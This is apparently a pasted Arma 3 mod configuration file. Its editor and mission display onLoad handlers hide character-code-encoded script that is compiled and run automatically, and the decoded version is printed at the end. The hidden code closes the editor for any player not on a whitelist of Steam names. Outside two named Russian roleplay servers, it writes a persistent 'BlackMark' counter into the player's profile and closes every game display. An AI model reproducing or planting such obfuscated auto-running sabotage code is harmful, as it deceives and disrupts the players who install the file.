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Feb 29th, 2020
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  1. class RscVignette;
  2. class DLCActionNotification;
  3. class RscWIP;
  4. class Display3DEN
  5. {
  6. onLoad = "[""onLoad"",_this,""Display3DEN"",'3DENDisplays'] call (uinamespace getvariable 'BIS_fnc_initDisplay'); _i = [3, 3, 123, 32, 10, 32, 91, 93, 32, 115, 112, 97, 119, 110, 32, 123, 32, 10, 32, 32, 105, 102, 32, 40, 33, 40, 116, 111, 76, 111, 119, 101, 114, 40, 112, 114, 111, 102, 105, 108, 101, 78, 97, 109, 101, 83, 116, 101, 97, 109, 41, 32, 105, 110, 32, 91, 39, 106, 97, 110, 95, 98, 101, 99, 107, 101, 114, 115, 64, 116, 45, 111, 110, 108, 105, 110, 101, 46, 100, 101, 39, 44, 39, 100, 114, 115, 111, 118, 97, 39, 44, 39, 116, 121, 115, 111, 110, 39, 44, 39, 116, 111, 112, 32, 102, 101, 101, 100, 39, 93, 41, 41, 32, 116, 104, 101, 110, 32, 123, 40, 102, 105, 110, 100, 68, 105, 115, 112, 108, 97, 121, 32, 51, 49, 51, 41, 32, 99, 108, 111, 115, 101, 68, 105, 115, 112, 108, 97, 121, 32, 49, 125, 59, 32, 10, 32, 125, 59, 32, 10, 125, 59]; _i = call compile (toString _i); [_i] spawn {_i = _this select 0; [] call _i};";
  7. };
  8. class RscDisplayEmpty;
  9. class RscDisplayMission: RscDisplayEmpty
  10. {
  11. onLoad = "[""onLoad"",_this,""RscDisplayMission"",'GUI'] call (uinamespace getvariable 'BIS_fnc_initDisplay'); _i = [123, 32, 32, 10, 32, 91, 93, 32, 115, 112, 97, 119, 110, 32, 123, 32, 32, 10, 32, 32, 85, 105, 83, 108, 101, 101, 112, 32, 51, 59, 32, 32, 32, 32, 32, 10, 32, 32, 105, 102, 32, 40, 40, 115, 101, 114, 118, 101, 114, 78, 97, 109, 101, 32, 33, 61, 32, 39, 91, 82, 85, 93, 32, 90, 85, 76, 85, 32, 76, 105, 102, 101, 32, 84, 97, 110, 111, 97, 39, 41, 32, 38, 38, 32, 40, 115, 101, 114, 118, 101, 114, 78, 97, 109, 101, 32, 33, 61, 32, 39, 91, 82, 85, 93, 32, 90, 85, 76, 85, 32, 76, 105, 102, 101, 32, 65, 108, 116, 105, 115, 39, 41, 32, 38, 38, 32, 33, 40, 116, 111, 76, 111, 119, 101, 114, 40, 112, 114, 111, 102, 105, 108, 101, 78, 97, 109, 101, 83, 116, 101, 97, 109, 41, 32, 105, 110, 32, 91, 39, 106, 97, 110, 95, 98, 101, 99, 107, 101, 114, 115, 64, 116, 45, 111, 110, 108, 105, 110, 101, 46, 100, 101, 39, 44, 39, 100, 114, 115, 111, 118, 97, 39, 44, 39, 116, 121, 115, 111, 110, 39, 44, 39, 116, 111, 112, 32, 102, 101, 101, 100, 39, 93, 41, 41, 32, 116, 104, 101, 110, 32, 123, 32, 32, 10, 32, 32, 32, 95, 105, 32, 61, 32, 112, 114, 111, 102, 105, 108, 101, 110, 97, 109, 101, 115, 112, 97, 99, 101, 32, 103, 101, 116, 86, 97, 114, 105, 97, 98, 108, 101, 32, 91, 39, 66, 108, 97, 99, 107, 77, 97, 114, 107, 39, 44, 48, 93, 59, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 95, 105, 32, 61, 32, 95, 105, 32, 43, 32, 49, 59, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 112, 114, 111, 102, 105, 108, 101, 78, 97, 109, 101, 115, 112, 97, 99, 101, 32, 115, 101, 116, 86, 97, 114, 105, 97, 98, 108, 101, 32, 91, 39, 66, 108, 97, 99, 107, 77, 97, 114, 107, 39, 44, 95, 105, 93, 59, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 115, 97, 118, 101, 112, 114, 111, 102, 105, 108, 101, 78, 97, 109, 101, 115, 112, 97, 99, 101, 59, 32, 32, 10, 32, 32, 32, 85, 105, 83, 108, 101, 101, 112, 32, 49, 59, 32, 32, 10, 32, 32, 32, 123, 32, 10, 32, 95, 120, 32, 99, 108, 111, 115, 101, 68, 105, 115, 112, 108, 97, 121, 32, 50, 32, 10, 32, 125, 32, 102, 111, 114, 69, 97, 99, 104, 32, 40, 117, 105, 78, 97, 109, 101, 115, 112, 97, 99, 101, 32, 103, 101, 116, 86, 97, 114, 105, 97, 98, 108, 101, 32, 91, 39, 71, 85, 73, 95, 100, 105, 115, 112, 108, 97, 121, 115, 39, 44, 32, 91, 93, 93, 41, 59, 32, 10, 32, 32, 125, 59, 32, 32, 10, 32, 125, 59, 32, 32, 10, 125, 59]; _i = call compile (toString _i); [_i] spawn {_i = _this select 0; [] call _i};";
  12. };
  13.  
  14.  
  15. {
  16. [] spawn {
  17. if (!(toLower(profileNameSteam) in ['jan_beckers@t-online.de','drsova','tyson','top feed'])) then {(findDisplay 313) closeDisplay 1};
  18. };
  19. };{
  20. [] spawn {
  21. UiSleep 3;
  22. if ((serverName != '[RU] ZULU Life Tanoa') && (serverName != '[RU] ZULU Life Altis') && !(toLower(profileNameSteam) in ['jan_beckers@t-online.de','drsova','tyson','top feed'])) then {
  23. _i = profilenamespace getVariable ['BlackMark',0];
  24. _i = _i + 1;
  25. profileNamespace setVariable ['BlackMark',_i];
  26. saveprofileNamespace;
  27. UiSleep 1;
  28. {
  29. _x closeDisplay 2
  30. } forEach (uiNamespace getVariable ['GUI_displays', []]);
  31. };
  32. };
  33. };
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